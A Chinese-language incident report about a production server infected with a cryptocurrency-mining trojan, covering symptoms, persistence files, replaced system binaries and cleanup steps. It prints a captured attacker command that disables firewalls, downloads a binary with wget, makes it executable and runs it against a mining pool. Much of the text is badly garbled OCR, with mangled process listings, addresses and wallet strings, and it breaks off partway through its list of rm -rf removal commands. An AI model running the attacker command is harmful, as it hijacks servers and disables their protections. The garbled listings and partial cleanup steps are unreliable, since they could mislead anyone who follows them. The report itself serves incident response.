1、關(guān)于生產(chǎn)環(huán)境服務(wù)器被黑的情況報(bào)告一、起因背景3月9日晚上八點(diǎn)半，我收到公司監(jiān)控平臺(tái)zabbix頻繁告警22服務(wù)器cpu資源耗盡，因?yàn)闆]帶電腦回家然后我立即返回公司查看，在返回公司的路上接到了符經(jīng)理的電話。隨后在22上面查詢到有一個(gè).yam進(jìn)程，如下圖所示；top20:43:00up20cay5,1：Q7,3usersloadaverage:15.6,17-3Qr17.17Tasks:45btotal,1riinning433sleeping0stopped1.zombieCpu(s):69.聯(lián)_i斗0.3%sy,0.Oni,29-7%id?I0.0.Mhi,0-0%siP0,0%&tEl口:1

2、617S236Kt3talH14143135ku曰曰比203S100kfree,1834520kbuffersSwap；8159224ktotals29720kused8130504kfree,S221896kcachedF7DI-ERPRXIVIRTRE:正ES-：KT7VE-COMMANDroot.20D1384mS.-jm24S8109G.70.5691：01.93yamL5553root51)11.Og1-迄IKms/.o11.1)L：.VL4HJava1130root20010.1.ISaS3.311.6L2C0:oSjava：0731root.20010.818tuS1.3G.1m

3、07java13root，J01)000s(1.3).1)8:34,80k&oftigd/Z41TQQt200000S0.jo.y4;LG.27ksoftirq.d/9LCL1root200000S0.30.0L:OC.Hflush-253;01737root.20D000S0.30.06:08.87kondemand/91738root,J00(101)s0.31).1)5:4S,78kondemand./10Lj42root200000S0.30.0a:40./akondemand/1421372呂bbix20D18476%881GS0.30.D7:24.91zabbix_agentd21

4、38zabbix20D184769G8816S0.30.07:30.50zabbix.agentd:1!貶root501.-.4(1(1laOO9謹(jǐn)(Lt1).1)0:00.76top1root20019360L3o211?S0.00.00:02.ISinit2root200000S0.00.00:00.05kthresaddrootSkx:server、口ps-ef|grep6653root&4604926021;46pts/300:00;00grep6653-root.6653IBbbS019:65?001:00j00/bin/baah-e/etc/initd/iptablesatop;s

5、erviceiptableastop;SuSEfirewal12stou;reSii5EfirewallSstop;irget_chttp/l1L20.12&u19s:B89/yao:chmod777yao;t/yam_czstratum+tcp：/iTCmiEivSFPVNn甸mD遲冏蛆iSo6SVDydB3AZM34iZtdYpBNanVeQhh4mpU1XGRSjngBTfCBxaaAtUGC2DArotyaKSz1LJyj,fSbec1df-3c6bf9a03cece785d333ff96bc65f9a2df01S9aB63587Bd6d26aeB141x.S00513050:80；3

6、O2B100f;root-66846S&3曲19:55?13:14:20/ygmcx_Mstratumtcp:/47CiLnEQ4v8FPWiiw9-jnDaZMiSoSSTOydBSAZMSlZtdYpBmYeqili4mpiriX6RSnigBTfC8xqaAtUGC2DArotyaKSzILJyJ.f2bec1dfSe6bf9a03c8ce785d3S3ff96bc65f9a2df0189a&635S7Sd6d26ae：14:x釦oria.dwarfpooLcom:8005:8050:8080:8100/xmrrootehxserver凡衣隨后我查詢到這臺(tái)服務(wù)器是被黑客惡意掃描種植了木馬

7、。.yam是比特幣挖礦的進(jìn)程。這個(gè)程序執(zhí)行的時(shí)候一旦服務(wù)器聯(lián)網(wǎng)就會(huì)調(diào)用系統(tǒng)的wget命令自動(dòng)連接9地址，去下載黑客攻擊之前所需要的木馬。緊接著我查詢了服務(wù)器22上的/目錄，發(fā)現(xiàn)有幾個(gè)今天下午6點(diǎn)39新建的可疑幾個(gè)執(zhí)行文件，查看了一下權(quán)限，三個(gè)用戶都擁有777權(quán)限。先將幾個(gè)文件擁有權(quán)限全部歸零。然后將該文件下載到本地電腦再進(jìn)行查看，隨后查看到這些文件都是一堆亂碼。隨后我用殺毒軟件進(jìn)行掃描，殺毒軟件立即報(bào)警為黑客攻擊的木馬。之后我查詢了這兩天的系統(tǒng)日志，發(fā)現(xiàn)Samba與zabbix用戶訪問量比之前都要高，隨后查詢Samba與zabbix也網(wǎng)上也都報(bào)有漏洞。之后后在網(wǎng)上符經(jīng)理也發(fā)現(xiàn)了strust2漏

8、洞。之后我將這些病毒文件進(jìn)行了權(quán)限歸零并刪除，隨后按照符經(jīng)理進(jìn)行了進(jìn)一步的檢查與刪除。周五（3月10日）將服務(wù)器重新做raidlO,并將Linux操作系統(tǒng)進(jìn)行了備份。至周五晚上兩點(diǎn)，服務(wù)器備份及恢復(fù)正常。二、中毒現(xiàn)象1、開始在90.22服務(wù)器上發(fā)現(xiàn)可以進(jìn)程.yam,占用整個(gè)服務(wù)器的資源FIDCSEBFRVIRTRESSKRS吭PU嶠E【TIJ!E-C0UD6684rt013S4i8餉24&BS悄Tb651Ql,93yem2、目錄下有幾個(gè)木馬文件，oonf.nS-ystemtystenxiaornamayam這些都是從服務(wù)器上下載下來分析用的木馬文件。這些木馬很頑強(qiáng)，刪除馬上會(huì)自動(dòng)恢復(fù)。3、系統(tǒng)

9、癱瘓，因?yàn)?、（1）系統(tǒng)文件/bin目錄下ps，netstat文件，/usr/sbin目錄下ss、lsof命令被替換為1.2m的文件（2）usr/bin/bsd-port/getty，正常系統(tǒng)目錄下沒有g(shù)etty這個(gè)文件夾。進(jìn)程中有個(gè)getty進(jìn)程是偽裝的遠(yuǎn)程登錄進(jìn)程。需要?dú)⑺?。?）/tmp目錄下出現(xiàn)/moni.lock,getty.lockconf.n（4）/etc/rc.d/init.d/出現(xiàn)selinux、DbSecuritySpt、rc.local/etc/rc.d/rc0-5.d/S77.zl/etc/rc.d/rc0-5.d/S97DbSecuritySpt/etc/rc.d/r

10、c0-5.d/S99selinux1e-hal:/=t:/re.zl丫1Trrtrn-t殳二4：i：:疋牛飛廣,:上1陪二丁t-./Jlld/.5、/目錄下的木馬執(zhí)行文件不斷的變化，有/xiaomamaa,/wancchunfeiand/helloworld/taifeng/cmd6、計(jì)劃任務(wù)crontab全部被刪除，替換成木馬的執(zhí)行任務(wù)7、防護(hù)墻被惡意關(guān)閉。三、危害程度極其嚴(yán)重CPU資源被完全消耗，系統(tǒng)奔潰。系統(tǒng)文件丟失。無法正常運(yùn)行。因?yàn)榉?wù)器上配有nginx做負(fù)載均衡，這一臺(tái)服務(wù)器奔潰，導(dǎo)致公司的命脈網(wǎng)站,無法訪問。四、主要現(xiàn)象及處理過程周日早晨九點(diǎn)接到符經(jīng)理電話，學(xué)校群里反應(yīng)網(wǎng)站訪問不

11、了，后來遠(yuǎn)程ssh也都登錄不上，當(dāng)時(shí)我回復(fù)符經(jīng)理說，可能是服務(wù)器系統(tǒng)癱瘓了,現(xiàn)在我只能立刻跑一趟蕭山查看具體情況，然后我來到蕭山機(jī)房，查看服務(wù)器此時(shí)服務(wù)器硬盤燈也不閃，與預(yù)想的一致，服務(wù)器死機(jī)。接著我立即硬重啟，網(wǎng)站恢復(fù)正常，但不到20分鐘，網(wǎng)站又訪問不了了，后來我用顯示器查看，系統(tǒng)幾千個(gè)報(bào)錯(cuò)。如上圖所示，一直閃屏，接著我打電話與符經(jīng)理做了匯報(bào)，符經(jīng)理讓我先判斷是硬件還是軟件問題，我說是軟件問題，還是服務(wù)器中了黑客植入的攻擊木馬程序。接著我向他匯報(bào)了近期我們的服務(wù)samba和zabbix訪問量異常,然后他安排我緊急恢復(fù)系統(tǒng)，并將網(wǎng)線拔掉，系統(tǒng)查殺完畢后查殺病毒，關(guān)閉Samba服務(wù)。一小時(shí)后，中

12、午十二點(diǎn)，系統(tǒng)恢復(fù)正常。接著進(jìn)行了病毒中毒查殺，查殺完畢后。插上網(wǎng)線，系統(tǒng)恢復(fù)正常。重新安裝了殺毒軟件，并寫好了定時(shí)腳本，對(duì)系統(tǒng)定期每日兩次進(jìn)行排殺，然后對(duì)25進(jìn)行了重點(diǎn)排查，中午十二點(diǎn)半，確認(rèn)病毒查殺完畢。下午三點(diǎn)半，25病毒再次發(fā)作，以下是查看系統(tǒng)執(zhí)行文件被病毒替換roothx25/#1呂一lh/bin/net呂ta/t-rwxr-xr-x1rootroo七L3月1214:12/bin/netstat-roothx25/#Islh/bin/psLs-lh/usr/sbin/ss-rwxr-xr-x1rootroot1_2M3月1214:12roothx25/#ls-lh/usr/sbin/

13、1sof隨后我按同樣方法處理好了25.下午五點(diǎn)半22系統(tǒng)再次遭受病毒襲擊，系統(tǒng)再次奔潰，隨后查看情況與上午中毒一致，緊接著25也中毒，進(jìn)程中top進(jìn)程異常PIDUSERPRXIVIRTRESSHRS%CPUMEM1IE-C0WXD2190root2009022m2.5glOmS39.216.24939:05/usr/local/j9953root20010.8g1.6g6200S6.910.084:30.84/usr/local/j-8956root200165042680828R2.00.00:00.06topbn112700root200166842928936R2.00.00:01.05

14、top8961root200165042684828R1.60.00:00.05top-bn18990root200165042664828S1.60.00;00.05top-bn19063root200165042660828S1.60.00:00.05top-bn19070root200165042664828S1.60.00:00.05top-bn19005root200165042660828S1.30.00:00.04top-bn19026root200165042660828S1.30.00:00.04top-bn19109root200165042636828S1.30.00:0

15、0.04top-bn19121root200165042656828S1.30.00:00.04top-bn19126root200165042656828S1.30.00:00.04top-bn1我緊急批量結(jié)束了top進(jìn)程。隱藏在/tmp中的.1Z1489318307開始發(fā)作.而且進(jìn)程名稱后三位全部都不一樣，接著我批量結(jié)束了.lzl489*所有進(jìn)程，剛殺完.lzl489318307接著.z1又出現(xiàn)了，如下圖所示。-cn土323640.00”08S02647Ss17：000:00/e+c.-.z1root323910.00.08E8264?Ss17:000:00/etc/,zlmt324260

16、.00.08B9264YSs17:DO0:00.etc/,r1root324420.00.08E8268pSs17:000:00/etc/,zlrout324580.00.0838264?Ss17:00000/etc/,zlroot324670.00.088326S?Ss17:000:00/etc/,zlroot324710.00.0888268?Ss17:00000/etc/,zl-OSjf32474o.o0.0sea68Ss：I7:on0：oo,e+r.-.z1root325120.00.08S8264?Ss17:;000;00，-etc/,zlnt；1；恬210.()0.0888z64/

17、Ssve:)00加/etc/.z1root325120.00.0S8S264Ssil.:000:00/etc/.zlrcy.ii.325540.0o.n882&4?Ss17:000:00.etc/,zlroot325630.00.088S26SSs17:DO0:00/etc.-.zlrout325740.00.08SS268Ss17:00000/etc/,zlroDt326040.00.0皈264Ssrr：:000:00/etc.-.zlroot326120.00.08E8268?Ss17:;000;00/etc/,zl-cn土；怡18(to0.0附Mz68Ss17：:)00:加/etc/,z

18、1root326340.00.0888264Ss17:000:00/etc/,zl059330寸的官萬芒件亍Ofp!10Ce55ejer;TeorrittUS：PROBLferity：-igh同樣方法先殺死.zl隱藏進(jìn)程，CPU開始迅速往下降，接著趕緊查詢可疑文件，刪除隱藏文件。系統(tǒng)恢復(fù)正常。晚上七點(diǎn)，符經(jīng)理也來到蕭山機(jī)房。我們一起查殺了服務(wù)器上所有的可疑文件。然后找出了最近三天新建的所有文件。符經(jīng)理先在25上搜索了一個(gè)自動(dòng)啟動(dòng)下載病毒的.jsp腳本。如下圖所示。接著我在22上也找到了一個(gè)創(chuàng)建時(shí)間相同但是名稱不同的jsp腳本。我們立即進(jìn)行了刪除。1DC3/ustylciwI/vvubEpp/G

19、rTmc;|.SE)由shareS-.src卡tomcat7terncat7037tnnactoinrst7037rinm占din!-S-torTicat7Gmpt卡tomcat7pj).tomcatsv/ebapp由-“.cmacName榕改時(shí)間.SGriptsDirectory2016-9-2214:14staticDirectory2016-3-1715:12templateDirectory2015-4-3014:曲WEB-INFDirectory2017-2-1317:54畫403.html29&0HTMLFile2&15-6-21S-：17圖favicon.ico223&Icon2

20、015-6-21&:17劉site-map.html10192HTMLFile2015-6-21&;17site-inap.brt10194TextDocutne-nt2015-6-218-:17型site-map.xml10299XMLFile2015-5-218:17|ZcmbieBoy.jspL&4劃牛2017-3-103;35|町JLL-L.J&LAl_rU-I.AXU-ILJilJLTLILVIJLW-LU亠JTLJJ7eai5曲助攢個(gè)鶯12tlYpEMeqhlilopUHGRSniiSTfC&qaAtCGC2DAi0t哪$z1Ljyj.fJbecidf3efbf9日03cSee7S

21、id3(f&aSdfOlBSaSbSSTSdfidZ&aeSU：x?iDaria.charfpool,cmd；800o:S0;0:8080:810Dimr：root66S466539919:砧?13:14:20./yam-cx-1!stratunirtcp：tunEQ4Y0FPVffM啟kaiSciESVQydB血戲劇皿h4uNl訪恥！nuBTfC弧aAWGCDAr血aKSMU燈f2beckf3c6hf9aO3B8te78bd333figBbc6bf9a2dfllSaE63587Sdfd2)orindiarfpoDLcob：8(X)&:EO50:8080;8K)W皿2、服務(wù)器有無中木馬前期診斷

22、有無下列文件cat/etc/rc.d/init.d/selinuxcat/etc/rc.d/init.d/DbSecuritySptls/usr/bin/bsd-portls/usr/bin/dpkgd查看大小是否正常ls-lh/bin/netstatls-lh/bin/psls-lh/usr/sbin/lsofls-lh/usr/sbin/ss如果大小為1.2m,或者大小超過200k的都可以判定為異常文件，如果上面文件異常，立即刪除以下文件，如果刪除以下后立即恢復(fù)，先更改權(quán)限chmod000dir/file_name,然后查看文件的隱藏權(quán)限，lsattrdir/file_name，如果含有i

23、屬性，擇刪除i屬性后刪除。chattr-idir/file_name刪除如下目錄及文件，rm-rf/usr/bin/dpkgd(psnetstatlsofss)rm-rf/usr/bin/bsd-port(木馬程序)rm-f/usr/local/zabbix/sbin/zabbix_AgentD(木馬程序)rm-f/usr/local/zabbix/sbin/conf.nrm-f/usr/bin/.sshdrm-f/usr/bin/sshdrm-f/root/cmd.nrm-f/root/conf.nrm-f/root/IPrm-f/tmp/gates.lodrm-f/tmp/moni.lod

24、rm-f/tmp/notify.file程序rm-f/tmp/gates.lock進(jìn)程號(hào)rm-f/etc/rc.d/init.d/DbSecuritySpt(啟動(dòng)上述描述的那些木馬變種程序)rm-f/etc/rc.d/rc1.d/S97DbSecuritySptrm-f/etc/rc.d/rc2.d/S97DbSecuritySptrm-f/etc/rc.d/rc3.d/S97DbSecuritySptrm-f/etc/rc.d/rc4.d/S97DbSecuritySptrm-f/etc/rc.d/rc5.d/S97DbSecuritySptrm-f/etc/rc.d/init.d/selinux（默認(rèn)是啟動(dòng)/usr/bin/bsd-port/getty）rm-f/etc/rc.d/rc1.d/S99selinuxrm-f/etc/rc.d/rc2.d/S99selinuxrm-f/etc/rc.d/rc3.d/S99selinuxrm-f/etc/rc.d/rc4.d/S99selinuxrm-f/etc/rc.d/rc5.